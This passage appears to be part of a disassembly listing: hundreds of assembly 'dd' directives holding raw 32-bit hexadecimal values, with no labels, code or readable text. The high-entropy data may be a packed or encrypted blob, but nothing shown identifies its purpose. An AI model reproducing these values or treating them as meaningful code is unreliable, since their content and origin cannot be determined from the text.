		dd 0E510256Eh, 6053E434h, 0A416F24Ch, 343300E4h, 0EE36CFECh
		dd 0CB00A347h, 9812A830h, 4C685CB6h, 4C1680DBh,	9813BA86h
		dd 19F24F4h, 6F3AEF5Fh,	0C8931661h, 250031B3h, 4F65CBAh
		dd 3D85286h, 3E541F70h,	390263ADh, 8F01D788h, 8734740Ch
		dd 61FF67E2h, 0EC328D3Fh, 680150A7h, 0C0E84DEFh, 0CEFDB518h
		dd 168C206Ah, 55CDF8Ch,	75DD04C0h, 0AB83D0A6h, 9178C08Dh
		dd 0C0B7975Ch, 0D2E95D02h, 447C56ECh, 19D481D4h, 8C2F2E44h
		dd 9C01E723h, 0CCB15428h, 0F0009073h, 152B72FAh, 3D002F05h
		dd 587EC363h, 17986E4h,	0F75B46CBh, 894A345Fh, 68D863F1h
		dd 0A092D220h, 91D4E850h, 0D87789E0h, 3643A871h, 404B8AE5h
		dd 3B4C0E2h, 8556EF8Bh,	1FA89FEAh, 0BF17E9E6h, 1C004E74h
		dd 78E85373h, 66C62D86h, 80FC6C44h, 807117Dh, 5D144D4Bh
		dd 8F16CBE0h, 25662C37h, 68AA6014h, 0C601FE23h,	785DBF0Fh
		dd 8061DCE8h, 7B24C33h,	1502530h, 4570C157h, 6885BA88h
		dd 8C0DBC2Ch, 0A1E2D400h, 3E35F176h, 0D8909754h, 0A02CC4D7h
		dd 0D18300EDh, 0E47836h, 0EFE56CD1h, 1A26A672h,	0CD17137Dh
		dd 0A8C80255h, 0C06C01BDh, 0E1D335E6h, 5091E0AEh, 717B2E00h
		dd 995B0AC4h, 8B132186h, 0DF180ED1h, 0D7981E00h, 6E55282Bh
		dd 0D0DC12E0h, 220CADB5h, 0CBB44FBAh, 0C0788824h, 951CD971h
		dd 93BD923Fh, 54F24684h, 37C6E804h, 0B84CAF29h,	3A337972h
		dd 2F4E2040h, 0D2344h, 5A5638B1h, 482EBE72h, 1962B418h
		dd 9007AA0h, 0B68024E6h, 0DA5E9380h, 0A49CE923h, 18F4DD12h
		dd 0FFF40992h, 700081ADh, 0C3DA0453h, 5B29EF63h, 71A2F04Ch
		dd 861200D7h, 2541F031h, 7BF2F3EAh, 0F80BE144h,	92204D9h
		dd 8C66E3B1h, 592F2358h, 86142077h, 0B3DEB5Fh, 47155A8h
		dd 0E7C4DCE5h, 0C5E51460h, 0D1CA7C09h, 406C79E4h, 18D4998Dh
		dd 0B05551Fh, 0DC3AC9C7h, 2BF1A627h, 29804DBCh,	0BE172D43h
		dd 940789C5h, 0D3EE58CEh, 232FEC50h, 0A04809ADh, 7C68D2E3h
		dd 0A8004CC9h, 6AAC7BB6h, 131CE5C8h, 181CDB2h, 4A3DF8BDh
		dd 0D2EBC81Ah, 80CCEE4Ch, 6F4F5F75h, 0A0820647h, 188CAE2Ah
		dd 802F5202h, 78B2A7ABh, 17BF05A8h, 0C06C2C94h,	90E93FA5h
		dd 804AB33Fh, 8DB1E599h, 0F84C8C38h, 65080036h,	0B377C240h
		dd 0E500C009h, 9A44CCD2h, 2866E728h, 0E2AC751Ch, 55CB1B50h
		dd 0A3FF1004h, 48E889FCh, 8C0029F0h, 0A13354BBh, 7DE3C9EBh
		dd 30AD0552h, 8010575Dh, 4596121Bh, 0C0CCF85Ch,	0B538209Fh
		dd 0B9435C4Fh, 3DF75507h, 62F6016h, 1801645Dh, 5E1CEC72h
		dd 99E41F8Dh, 0B4EA4BD2h, 780D7430h, 3E97A439h,	0BD03A032h
		dd 88082E63h, 0B8A0A2AAh, 70E815FBh, 0F31C32EAh, 6A042E52h
		dd 5CE0DEBDh, 0C46D0029h, 6FEBD64Fh, 0E20042F3h, 0A2541371h
		dd 0FC0199Eh, 43EE17B8h, 42C66FC2h, 5D049Dh, 0E2E4D833h
		dd 2C305BC7h, 0F8A91963h, 90C0004Bh, 9FE7EE5Fh,	260045CFh
		dd 9C22B529h, 1BC8187h,	9E32A36Fh, 81AF17FDh, 28330451h
		dd 35E8DDDCh, 0F44D008Ah, 1AA703CBh, 1607A683h,	0B3BA77BCh
		dd 6C81FD20h, 73CF00D8h, 0F5DF5BCEh, 0D3013439h, 38FAAC4Eh
		dd 777089B6h, 0BBD80021h, 92E26974h, 0AE1499E5h, 0E648853h
		dd 87B98AECh, 8D80D53Eh, 7CB5B272h, 419307FDh, 11D0115Ah
		dd 0BC15856Fh, 0B8338CB0h, 194368D6h, 0D072FC24h, 0E3EC11BFh
		dd 0CD1C4E0h, 66D975B3h, 2600F668h, 0DA8AEBDCh,	7E9D0F0h
		dd 725B2768h, 0C211ECEAh, 8D32E001h, 0E4210833h, 782AAC40h
		dd 0F3DF2C5Ch, 0AD420610h, 810069B8h, 92EF1B41h, 13C03DBAh
		dd 61F1Ah, 45A66B17h, 0B8C4B71Ch, 5C009B6Ah, 5809EC33h
		dd 14D5AC3Eh, 0AA4A89Ah, 0C03D8914h, 64BFAA00h,	0CEB5C0h
		dd 0D5C7EB4Fh, 3F83A8D3h, 2465FD00h, 0E145D2B2h, 3E90070h
		dd 5212A0CBh, 3809B8D9h, 80A6E374h, 604E93B4h, 1E3F94Ah
		dd 28662318h, 5E681B0Ch, 144D0820h, 3CF73A8Ah, 0E69D139Dh
		dd 0D1D5Dh, 0A18DAB99h,	4E7C0F9Ch, 160001F4h, 3FD660CCh
		dd 838F817h, 139DCAC8h,	0A8810873h, 1421EA59h, 0BA255500h
		dd 7C7616D5h, 73D471A8h, 9588000Eh, 0A1747F5Dh,	874C91A5h
		dd 461002CEh, 0AC127263h, 0A8D30834h, 8D6A1980h, 7CA0C8h
		dd 6A0948ABh, 83FF5BC6h, 530926F6h, 183D2486h, 605114D4h
		dd 290E1059h, 0AC035C7Bh, 7A165275h, 97D8B142h,	7E141020h
		dd 6817069Ch, 29792707h, 8E118642h, 1F402199h, 9A79A245h
		dd 8B60C488h, 776C218Ch, 0E108E12h, 85889A4h, 0A2664431h
		dd 4CEB2284h, 225BEC22h, 0D6445499h, 0FD9100B4h, 0CA5B1C48h
		dd 8006A32h, 0F4B7DDE3h, 322AA98h, 4AFDEEAFh, 93E8C7CBh
		dd 4D07A50Dh, 0FF31C52Dh, 0C9EDBCC0h, 0D8660097h, 0AB590F7Fh
		dd 0A6399CEAh, 0C2320113h, 0DB926869h, 118019BFh, 4496AEC0h
		dd 4930914Bh, 0C31D50A6h, 436B00F3h, 9978DD93h,	831DA7F7h
		dd 95C0A47Fh, 39A531F1h, 29D65CDFh, 0E741FB00h,	0A9B77135h
		dd 29B5C300h, 499BBA86h, 0E9A400A2h, 0D3A02F80h, 0D900A6EDh
		dd 0C1870E22h, 0F85AD0h, 0EC5B6C74h, 0F4AC1720h, 0CB1A6A00h
		dd 0AE464E2h, 0F7EADBh,	8F4FA42Bh, 0F39B22ACh, 19EC5E03h
		dd 0B80D4CABh, 769F69h,	0D09553A1h, 1A2DE7BCh, 78440218h
		dd 38949311h, 9500637Bh, 1BB2E137h, 0F7008B88h,	794155F6h
		dd 0A053DE4Ah, 73FB6F86h, 1CE6001Ah, 468A2DECh,	0B00092Bh
		dd 92AABAA6h, 0FF6A4F8h, 1D58646Ch, 0C0C22340h,	0BD0FD968h
		dd 815ED889h, 0ABA39C04h, 2C96020h, 0A5139B4Ch,	0C340F631h
		dd 0E2007AF8h, 0A8A3ECAFh, 0BB61C3h, 1BFC8E0Dh,	8D7AA6Ah
		dd 0D12A7003h, 8138B065h, 7AEC61B7h, 0E680040h,	16EA32A5h
		dd 14004A29h, 0C08EE51Fh, 932452h, 35ED51DFh, 0FCCDFBAEh
		dd 23DB9100h, 4B759C8Eh, 85F739CAh, 0E9C64300h,	82ABB481h
		dd 0BAA04C09h, 0C04E0FE7h, 0BD2B7A8Ah, 0EC590043h, 0DFC65D83h
		dd 48004DBAh, 17D4F7Ch,	7387BD8Bh, 10D7597Fh, 0DF196800h
		dd 49437B41h, 0E000348h, 0C01D3E69h, 0E7B9DBD4h, 0E35B01E4h
		dd 64F9BD1Ah, 4B2DEC38h, 8CC3B307h, 5420A140h, 0F0634Ah
		dd 4530AAB2h, 904BF6A7h, 87CFBB3Ah, 86890B7Fh, 6D6C3D41h
		dd 6E87880h, 0A284A8B6h, 3EF7163Dh, 691280C7h, 33B9CC1Fh
		dd 0A7783F8Dh, 0C0039D9Eh, 2B5E7FF5h, 0A30F0CF1h, 808476DFh
		dd 0E93534D7h, 0E38E0199h, 0F3CA2DB5h, 0D0D8409Bh, 15E4948Bh
		dd 6E6D1B01h, 0B9D12947h, 3A9E89FCh, 0FF002755h, 9C981EA4h
		dd 7E059DC0h, 0D7CF4785h, 3384D600h, 0AED3D2h, 997F59CEh
		dd 7796679Dh, 0E0AFC0CEh, 57173CF9h, 563600D6h,	93E19F34h
		dd 4E02A4F0h, 11EAB4EEh, 0E767C047h, 0A109018Fh, 97C3F951h
		dd 0E9B8F013h, 6972ED00h, 5D2B93E4h, 0F090A9h, 14490F52h
		dd 0B9251B64h, 91FD5800h, 0FABE1072h, 320A0ECDh, 7F809E4Dh
		dd 29E9AEB0h, 0E4A75EF0h, 1CEC6680h, 1CDCF18h, 0C6A94086h
		dd 20EBF54Ah, 8059528h,	2C27DDBCh, 1951D004h, 0FDA8A740h
		dd 0F200AEBFh, 0A1036BDEh, 4D39ED10h, 0D60038CEh, 0FDFF60E8h
		dd 0C600C20Fh, 307A8BDCh
		dd 35D120Bh, 0E66757EEh, 2003E480h, 0D6086235h,	8B5AA830h
		dd 70C300AAh, 0B338A90Dh, 0F8606DA5h, 2A20828h,	7C9B0F65h
		dd 0E1202A68h, 19FB390Ah, 0ECA69103h, 0E0D42112h, 3F52606Eh
		dd 0F300859Fh, 97362F0Eh, 330703D6h, 7B8C5ABAh,	0E8EA46h
		dd 0D96C7693h, 47D5CD29h, 757AC100h, 437DF5ECh,	0FEF90041h
		dd 399B4A45h, 310C1EEBh, 225A658Fh, 213807B1h, 70FB8658h
		dd 9627185Ch, 114D7C00h, 0EF23D178h, 86A5009Dh,	792162A1h
		dd 751C664Ch, 1E825272h, 0C0555B81h, 0B8CC884h,	51A00892h
		dd 3DFC0020h, 0F000ECBBh, 0AD836F97h, 50DC01h, 0E8B02061h
		dd 0BF6B4C0Fh, 7CE9C75Ch, 90448800h, 592F5F0Dh,	9533D74h
		dd 0AE9EF700h, 68BD4C0Ch, 93E2251Fh, 92DD2687h,	242FB081h
		dd 645FA440h, 3A8200C4h, 798FBA9Eh, 6205FB28h, 89487F02h
		dd 0F0248Ch, 0C97D18C0h, 6D5CABEEh, 274E100h, 0ECE7A516h
		dd 4F0A0FD3h, 76A05514h, 0C58478A9h, 9D19D004h,	0C080E3D8h
		dd 9DEC6D3h, 156D18B7h,	8BF94800h, 0FF434FEh, 4DFF500h
		dd 61F2812Dh, 12803B54h, 8C139480h, 25D465F7h, 5652D502h
		dd 605D31B6h, 13606174h, 0A6CF8Eh, 1FAF3D8Ch, 0BB006FEEh
		dd 75E5A1F9h, 966D43h, 0D5AE0EBFh, 4E9FEB0Fh, 0DB6C005h
		dd 1888C780h, 0D48700A2h, 0C59E8DE1h, 8913F19Dh, 0BB00384Fh
		dd 0BAC302C7h, 55CA3CC4h, 37FA01Ch, 152B0428h, 1474B90h
		dd 7432C0Ah, 0C400EC5Ah, 7D649CF0h, 0D3E900B5h,	873A6047h
		dd 7AF6D558h, 0BD86AF00h, 0EC256C37h, 0A330F58Ah, 2AB20F77h
		dd 7C802EA2h, 42F79BB0h, 0A0B53C05h, 0EC020CAFh, 4418AA82h
		dd 0E82C00B8h, 0DCA6A2Fh, 6D00FCDDh, 7F53ED9Ch,	720420h
		dd 0EE8C15ADh, 25B6084Fh, 80984939h, 2EC857C5h,	3B0AFEBBh
		dd 0E600170Fh, 359E7B9Ah, 200DD60h, 0FC4F3063h,	0ABA8F5h
		dd 0CCDFEDFBh, 3C826570h, 0C0140B0Fh, 0A4A360DDh, 0F6BD8B9h
		dd 0F110AFFDh, 0B8890Ah, 5CF097D7h, 9C988B73h, 8E0EF0B0h
		dd 0A91D6F5Fh, 0F78803FDh, 66298070h, 9B6D000Dh, 0B899C7E8h
		dd 5C010F14h, 3D5E8BDAh, 0A0EBF14Fh, 59DB7Fh, 6F264CA8h
		dd 483F5574h, 9189CF00h, 9F9932B4h, 6552046Ch, 0A051FB24h
		dd 0C9009B3Ch, 8D43B14Fh, 4C117A22h, 9F01A480h,	0CA926A2Ch
		dd 0F346D4E0h, 2B21BD00h, 951D4C7Bh, 733F1FB5h,	3920047h
		dd 0B0A58032h, 6AFAC409h, 9ECC80A7h, 33FAD61h, 0DB2AC24Eh
		dd 0CF91017Ch, 86D7E4AAh, 0C864A700h, 8CFC3352h, 0ADEF1C73h
		dd 1CA60041h, 0B29351CBh, 50E97700h, 0A3A8E6BBh, 0E85A492Bh
		dd 83F073h, 96E4F57Dh, 0B6CD6B0Fh, 0B8C62B0Fh, 0F616C098h
		dd 39114Fh, 0A2B3F8BDh,	0B5A6CCC2h, 9B649D0Ch, 6D2181h
		dd 0C9BAC4D4h, 5017D908h, 64A67F05h, 9040223Ah,	21DF802Bh
		dd 72230053h, 41E9E2EAh, 0B290EF55h, 175A0200h,	4C95F696h
		dd 0B5B0071h, 0C5052BFBh, 19B0C3ACh, 0D0A29780h, 7740CE02h
		dd 83AEB186h, 0F11B0E90h, 4020ED5Dh, 0B2D51363h, 449B0097h
		dd 0D1C7807h, 87188F00h, 0EB53151h, 0D8AA02FAh,	0BDC8656Ah
		dd 2467CE0h, 53AA800h, 0E940172Bh, 13F90089h, 285B41DAh
		dd 7305750Ah, 9C9D633Ah, 0E4CB9401h, 0CC60EA40h, 6DCA00A3h
		dd 0B7B9D6D2h, 9250C38Ch, 0C27BEF9Dh, 0A6A19D00h, 0C783276h
		dd 8D7300A8h, 4692B64Ch, 0F9F60EA9h, 873CF700h,	90D6C5AAh
		dd 8B9100ACh, 0BDA44807h, 584815F1h, 0C8EC26F8h, 0D8201313h
		dd 111784Fh, 7CCD208Fh,	20991742h, 0C7B87428h, 5C0CB302h
		dd 411A7F10h, 94F03D49h, 3FE300C8h, 88BD135Bh, 8703F6B7h
		dd 60C29AF7h, 0DBC4D04Dh, 0A2DCA035h, 0CF01213h, 0B444803Dh
		dd 5100F25Fh, 670DBAF3h, 0C626A4h, 21BE7560h, 0D65D503Ah
		dd 0AC7B1A90h, 7658E800h, 4C1EFE1h, 104B06Bh, 0C978F97Eh
		dd 20442A45h, 5B00D872h, 0D73FD6C1h, 0EA1682h, 0DDF718EFh
		dd 0E17E0FF0h, 7402DF00h, 209DFE49h, 8AC22CF4h,	0F3043A88h
		dd 0C74E81A4h, 0D8C5B0DCh, 1906936h, 5E3C9401h,	9806D217h
		dd 0E2B6EDCCh, 0C17F3887h, 0B486724h, 5CA01BC4h, 0F60E6183h
		dd 0C74D7007h, 0CD206F7Ch, 0E59220Bh, 89C1E9C8h, 7E4B5421h
		dd 8F09F0EDh, 8643B200h, 0C7E124F7h, 143600DDh,	85BF5D1Ch
		dd 473573Eh, 0F3682962h, 0A4661Bh, 0BA978269h, 57738DDCh
		dd 393B3800h, 9DA93314h, 0AFF1D03h, 1BFC00CEh, 1DF23268h
		dd 0A0122700h, 0B057DB1h, 0BE5D02F1h, 75C28E2Eh, 6091CC80h
		dd 7874096Bh, 0BFD4B800h, 65305E5Dh, 77FB0679h,	1E3CC962h
		dd 8863F62Ch, 2B1F0612h, 4EA6003Ah, 0E96F68FEh,	3B69005Fh
		dd 311855C5h, 0B4A080D0h, 0D8002DA4h, 0A2762916h, 7F8E66h
		dd 9DD35869h, 7B01E09h,	2A7B5100h, 7ACF0B9Ch, 56370057h
		dd 0DEEBDC08h, 0C2506382h, 1C000E84h, 6FC8529Dh, 0BCED16h
		dd 130DC12Ch, 25C5AED6h, 0C0729300h, 0F017DF91h, 0DB28006Eh
		dd 8906225Dh, 96009204h, 4D72E473h, 2FC83C4h, 0E7BB52E9h
		dd 0EE60518Bh, 6C13A8B1h, 4203B94h, 9488576h, 2C635CBh
		dd 9D80386Fh, 0EFB1F886h, 3B577FFFh, 1CC8772Dh,	6D130108h
		dd 40CF8400h, 78B2AB5h,	0F8E8F570h, 3E4CE06Ch, 0C7098D23h
		dd 0ABC08h, 2C310678h, 0CDE9810h, 1E74134Dh, 0BA007B18h
		dd 694AD6E8h, 1DB29F11h, 0BF25AB2Dh, 3CB60A80h,	5DE4C770h
		dd 0D0E8DE8h, 0BC08E33h, 2A9D813Eh, 5CD07CE3h, 37754h
		dd 67AF643Bh, 0C0C4E8CBh, 0BABDA800h, 27A74668h, 0E489502Eh
		dd 150C0076h, 65392A52h, 0E900E8BDh, 53A1D45Ah,	0F64D0697h
		dd 0FC7F00FAh, 0A305026Eh, 4B00CE73h, 4FC14EE9h, 1A2DE7Eh
		dd 0A8179A7Bh, 0F4EA7F3Eh, 8CA8D176h, 0CF00501Bh, 0A20DC331h
		dd 0EEF991FAh, 0D31F4CA5h, 674A1100h, 2386C7BFh, 0F6A158h
		dd 35159BC5h, 0F8C6F3BEh, 0B2843814h, 4730DF02h, 4C58E177h
		dd 2DCB1E00h, 0EBE76413h, 5508147Eh, 0A801E34Ch, 4A3D4526h
		dd 0DD28C40Fh, 32D18600h, 6885A342h, 9CC20312h,	593E2DEh
		dd 1320AB90h, 741C7D0Fh, 4B0F40D7h, 131E9F0Eh, 0DCE59Ah
		dd 0FB8C6F3Fh, 7006815h, 433F8DA2h, 0D0DB4Ch, 0BA231E26h
		dd 3D8FE0E7h, 4DC2DD00h, 0B3C040F3h, 159500D9h,	17A8663Eh
		dd 0DE00C793h, 68D51E60h, 0E20A10E5h, 0A3F500ECh, 48614608h
		dd 30FE6B0Ch, 0D1788B0Fh, 0FC86C0B2h, 7B748982h, 0E9A00B1h
		dd 88668776h, 34E84206h, 7E3EB000h, 744C0727h, 6710011Fh
		dd 363DED5h, 6E006F16h,	0AE64A482h, 0E7CCA06Ch,	750B0085h
		dd 0CE1E7F0Eh, 670B3C7Dh, 8098CB99h, 0D25E0648h, 730FFE0Ah
		dd 31C7001Dh, 0E8F24969h, 60F80B45h, 0ACE6D100h, 238B6C1Ah
		dd 0CCAA5075h, 6157295Ah, 0E0A303A8h, 0BB988227h, 0F4B8E7FDh
		dd 5B864712h, 445C0482h, 836D0030h, 8C63F9C4h, 99079C8Eh
		dd 75DD851h, 644CB250h,	4B18C0C3h, 96851221h, 290AD900h
		dd 322B5E11h, 52BC60F3h, 0CF072199h, 0C92A4600h, 0F67C4F20h
		dd 35BF3DC0h, 19941200h, 11741542h, 5CEC3Ah, 0FFF96BB3h
		dd 0BDB3ED3h, 797C5545h, 7700888Eh, 0B1A83B0Bh,	0CF904F74h
		dd 141F8179h, 8C49CE5Ah, 0D1AD8059h, 0EE47403h,	0CA8FADA6h
		dd 5DA1CF5Ch, 0CDB3B740h, 1F05AEEAh, 0D4B435C9h, 0CECFF6C0h
		dd 4CA1B862h, 0A700F191h, 61BF2193h, 8C98C5EFh,	0D1288A00h
		dd 99EB7DFDh, 782F0E49h, 61C09A45h, 1F510132h, 341DE600h
		dd 0E59C9B3Dh, 1FD89A7Ah
		dd 102D52h, 0FEA1E70Ch,	90094817h, 81B6D861h, 21D5578Ch
		dd 80369140h, 0FC9C4Eh,	0F35C3A81h, 0E20E5E58h,	0BFCB78h
		dd 0A66AFF91h, 0C4680067h, 0D95A300Fh, 761E1BC6h, 85C0984Dh
		dd 493927F3h, 53C1001Ah, 0FDB8913h, 610F128Eh, 0E0BA5B8Ch
		dd 33F6A33Bh, 593D03B9h, 0A69E71D5h, 9F0972D8h,	24FC8F60h
		dd 4E1DBh, 352E654Ah, 80F15955h, 0DF997E0Fh, 0C8B240C0h
		dd 90771Fh, 0B7DB2989h,	30E3C7D5h, 0C038A0Eh, 4446A01Dh
		dd 0FD5A8Fh, 0CA3B9260h, 6E174BB8h, 16A11C26h, 48DAA00h
		dd 1A915Dh, 18419B86h, 21B2145Bh, 0CFA8AF5Ah, 1EDD290Fh
		dd 6B018F80h, 0C00026D3h, 8D0E2438h, 3D4FDFF1h,	2005C2Fh
		dd 277713ECh, 3301CDA9h, 0CEAA5D5Eh, 70D832C6h,	14FE302Ch
		dd 9706AC0Ch, 0B2D6A160h, 75DEB7Ah, 2A8F397Ch, 0B5119028h
		dd 14003E53h, 1AA0D01Dh, 1DD908B6h, 1520A09h, 46196D35h
		dd 0A26FDC1Ch, 75410B00h, 27B85A53h, 7D350005h,	8351E73Dh
		dd 0D00DF80h, 7231F2CCh, 4A5907h, 374BDE9Fh, 9BD32A70h
		dd 85F7FD3Dh, 8F524C88h, 7A0780EAh, 78079DD8h, 87427BD6h
		dd 230660E0h, 28B6039Eh, 7C810E82h, 1A2B24B8h, 80BABB00h
		dd 0F86A78C5h, 18AB00CCh, 65B6712Eh, 0D701D088h, 0B3157EF4h
		dd 0B607516h, 0B9800013h, 0A82C0DD5h, 5F0019CAh, 4531AD46h
		dd 0E458EBA2h, 0FAF80AAFh, 17BC0253h, 0F415009Dh, 141F295Fh
		dd 0BA754200h, 0D6D1E4B1h, 3D6A00DBh, 97CA2074h, 0B616CD8Eh
		dd 0A6002CE3h, 0F2884B46h, 0A9A400ABh, 0D34008B7h, 0C0C9A66h
		dd 6005945Dh, 147F0052h, 4F2DC7D0h, 1551C978h, 0ECDED0EEh
		dd 89569F37h, 6A6FF610h, 0C71F195Bh, 30930855h,	6B000B1Fh
		dd 0BD1EA36Ch, 6A5AC6h,	0DFD11213h, 1C3815DEh, 193C21Dh
		dd 1FEE1B80h, 7BFB2244h, 49AF00D1h, 32A8C90h, 1800814Bh
		dd 40D2E3Ah, 6ABCD5h, 0E019F6ECh, 0CEC975ABh, 0CB20C518h
		dd 0A3935DA0h, 8EC28D60h, 73096170h, 986FE4D4h,	5F009F1Dh
		dd 0A9EC32D8h, 0F66760Fh, 57C48037h, 31D454Dh, 21E0CF4h
		dd 53D0553Bh, 7600402Ah, 5690EE69h, 5304D97h, 5D0A9A21h
		dd 2A983292h, 0A90F1D04h, 0C0D848E7h, 8CCF3908h, 0C4666400h
		dd 0BE5BB30Bh, 6E05016Bh, 0D3E24F90h, 0BD63CCFAh, 8A1C7F00h
		dd 26F460A4h, 39744Ah, 0E4BB0C28h, 0FE86B154h, 0A1EF6E0Fh
		dd 539F00EBh, 3074C4h, 0A64DB7AEh, 9D1FB979h, 0D99C3Fh
		dd 7CA1137Ah, 3F496CF7h, 0D42C8B16h, 52E20AEAh,	0B920FE0h
		dd 4C784F5Eh, 6067B280h, 681FF011h, 994381E8h, 0E0348219h
		dd 0DCA7DA55h, 0D48B86F0h, 22F76052h, 0C8380048h, 63305971h
		dd 603B630Eh, 693FEC14h, 0C5F00008h, 0C2AE7C04h, 5BC80072h
		dd 821A4D2Ah, 0C7005319h, 9C54712Ch, 6060DF70h,	0EED1183Dh
		dd 5D01594Dh, 0E4F868A0h, 0A5F08156h, 51960E89h, 1366B957h
		dd 9F0069E1h, 54615CB8h, 50C0ACh, 5620662Bh, 49CB5FC3h
		dd 0DEDF2626h, 16E9C605h, 0AFB430C1h, 285F23F4h, 3E46E83h
		dd 42B8EA02h, 0F0004CCAh, 1FB4DDEBh, 8A8B55h, 2E998EFAh
		dd 5FC6622Fh, 7A3BAD70h, 8F84D450h, 0BAA6FF03h,	7CFA2Ah
		dd 2801BD51h, 8E4E9E2h,	18C0EBF8h, 4DC1840Bh, 140700D0h
		dd 79BFE57Ah, 4A5E4C0h,	9EE96880h, 7E53E33h, 2D5C6495h
		dd 0C06DC7C6h, 0EE502B9Fh, 512CC516h, 3964EA01h, 0F61BDCCh
		dd 75308460h, 38B50758h, 0AE9AE553h, 9F4DF67h, 0B8B69401h
		dd 46980F8h, 7C1E3CDDh,	51851E2Ah, 0FF087363h, 0D5372100h
		dd 17891B3Ch, 3AE00052h, 6F28D78Dh, 7300FE11h, 4027A7E4h
		dd 7FC65C7h, 51C13AFBh,	7234C053h, 85009ED1h, 0BFF77875h
		dd 61355795h, 79AC88D3h, 48F0837Ch, 0F9DFA6h, 0DC7ECB48h
		dd 0BEF76B06h, 4D1C4C00h, 796EE43h, 8C2750A8h, 21C91497h
		dd 29E720ADh, 81208888h, 0DD1F79EAh, 9FB050C3h,	4A0091C2h
		dd 0F974BD49h, 0E8716540h, 21DC97h, 0F06991CAh,	0F7030C57h
		dd 6823F2B4h, 71D803EEh, 33C0937Eh, 0BF0081CEh,	0D9BA1859h
		dd 18190CF2h, 814FAC4h,	20DFBD8Eh, 3B801F9Ch, 9E364A99h
		dd 4B4503C6h, 0BD85666Ch, 0AA7B86B3h, 0E52AB702h, 485411D1h
		dd 4B6004h, 47C7C383h, 37CF25A4h, 21A808CCh, 83330012h
		dd 6EB5EE14h, 703050EDh, 2C0AC9C0h, 0DDD10027h,	9E9338DFh
		dd 180F54FAh, 0A3BAC3E6h, 2653F28Fh, 0F583649h,	75E02545h
		dd 0C61BA47Dh, 0DA8EF30Ch, 0EBA5518Bh, 3AB00560h, 0AD80F24Dh
		dd 436F605Ah, 120E2DC1h, 8ACC52C6h, 0E50894EDh,	80321150h
		dd 0F2DABA17h, 0BB018764h, 1237BA22h, 6C2B2CCh,	0DCC2A32h
		dd 0AF28A0A8h, 0C464C245h, 1C604758h, 0F223DDBAh, 2188182Ch
		dd 0F2C06466h, 0E8D0B39Ch, 8A9B0207h, 0E3A31153h, 0F208080h
		dd 3C035D08h, 86FF0B97h, 0F570E7AAh, 0E59B1E0h,	34FCF1B8h
		dd 0CD380800h, 411D4B7Bh, 0F5007425h, 4C936AC7h, 9A4E891h
		dd 0F1A77765h, 0F29AA020h, 0E200B549h, 0FE97529Fh, 1344FAAEh
		dd 0EF3C8619h, 0A2EEA102h, 806042FDh, 0B3FEA800h, 0BDE1E917h
		dd 6379D1D7h, 0CE166026h, 589BA191h, 4889860h, 1F9100B6h
		dd 4DFAD0A8h, 0D304F240h, 535423D2h, 30CA00C2h,	1A3D3CD9h
		dd 23FC67Ch, 0D1002340h, 0CDA8F73Ch, 40B333Bh, 5ECB7444h
		dd 0B68890A4h, 0F9608C26h, 0B376C750h, 0F76900DCh, 7C573942h
		dd 0F4002243h, 0FD6CC610h, 0C77BACAAh, 76D3B2A8h, 2B0089F3h
		dd 53FAE59h, 77E4239h, 77ECBB4Dh, 1D6B70F3h, 32014157h
		dd 0A686CC1Ch, 9841F073h, 55D87211h, 0C61D1870h, 0D85CDC91h
		dd 3DAC3600h, 0A427D005h, 0A0FF01CFh, 0A2C37CFBh, 4C5025C2h
		dd 0CC186A74h, 7B18ECDAh, 50E12473h, 0D3FE02C8h, 9C892F4Bh
		dd 7E389C1Dh, 442F0086h, 0EF9AD7F7h, 6415D448h,	1D491DCh
		dd 780F8541h, 9D2060C5h, 1C6E7740h, 0CE22E2h, 822135A9h
		dd 87263F70h, 49016875h, 8A2FA844h, 7C20A831h, 0C9E34033h
		dd 85672BECh, 0FC10C28h, 2824A811h, 1289BD4h, 0C7CE8340h
		dd 405A184Fh, 480013E5h, 9741E983h, 0FCB5D832h,	7FA61449h
		dd 0D5232819h, 0CF833F01h, 70E67C7h, 22834716h,	0CC6123F0h
		dd 40F600E3h, 7511F138h, 76199699h, 0D2D07EA3h,	400CB430h
		dd 41005E8Dh, 0E8E7AB1Ah, 9B74380h, 0CDC9C727h,	92ACBC20h
		dd 906314h, 0D8516D28h,	0EE242072h, 14BE4C93h, 0E5E452F5h
		dd 0D23802Eh, 0E110FD19h, 0A1E6B3E8h, 8C4147BAh, 24DAF933h
		dd 834660D6h, 5FC723C0h, 0E3203Bh, 0F6834E15h, 52D99EC7h
		dd 0FF8EDCA0h, 4D414C61h, 0E432C472h, 5106EE12h, 0C7C09878h
		dd 7CE2BACFh, 77E73803h, 0DEDA9AB1h, 0A1C90039h, 0D8EB423Ah
		dd 0F4036438h, 0D16A1485h, 0CFB0237Bh, 0C1834D01h, 0A61837C7h
		dd 358021C0h, 1CC59983h, 0FEE88F9Fh, 3AD2A048h,	0C07610F4h
		dd 0CCD72BC3h, 0C3F4D688h, 0DC9F1E28h, 0A60D4B00h, 27EB5668h
		dd 11EC00CFh, 0BF1801A9h, 68912949h, 86E4A878h,	0F5B8C0Fh
		dd 0A06A4123h, 0A0227E85h, 0E0EF537Ah, 0CE4A6E1h, 0A32E266Ch
		dd 465211E0h, 0F40602D0h, 6BC4EAFBh, 0FCB18B2Ch, 0C41154C2h
		dd 0BEE70BBCh, 0DC30E85Eh, 1F0A1449h, 987348F6h, 0A722C980h
		dd 27F701Dh, 68C3DA4Ah,	54400272h, 0F406AF71h, 2542F5C0h
		dd 0F7C70531h, 40F24C62h, 0CECAE3BCh, 680988D8h, 33C9C05Bh
		dd 173CE080h, 2202467Ch, 0D024000Bh, 39D7773Ch,	0B7020328h
		dd 0DC76387Fh, 0A1B84CD5h
		dd 0DB18CCACh, 7C1C3C08h, 4001C4DAh, 0AD3CD339h, 2DAC0044h
		dd 4DDB7DE2h, 41C0F4AAh, 0CF9281BDh, 34100388h,	25D41FDh
		dd 48B62998h, 0D676CE0Bh, 0DF340090h, 0BAE2CBF2h, 7A5E04D0h
		dd 88429D25h, 0F88CD218h, 0C7C41183h, 0E55B843Fh, 834A1100h
		dd 0E9009FB2h, 8654FCCCh, 9DE490Fh, 5FAE0D1Ah, 0A8822889h
		dd 0EC90C252h, 0E78072FDh, 60164DD6h, 688F3D12h, 0B75CF6E8h
		dd 67270E6Bh, 805D4988h, 0D681E700h, 99F40ABDh,	8084FCA7h
		dd 0E06BFAC6h, 5018155Fh, 1D19FBA8h, 0C2967DBEh, 42F9C842h
		dd 49438C68h, 5B0B7614h, 8C08BCC8h, 737ADB06h, 24D05BC1h
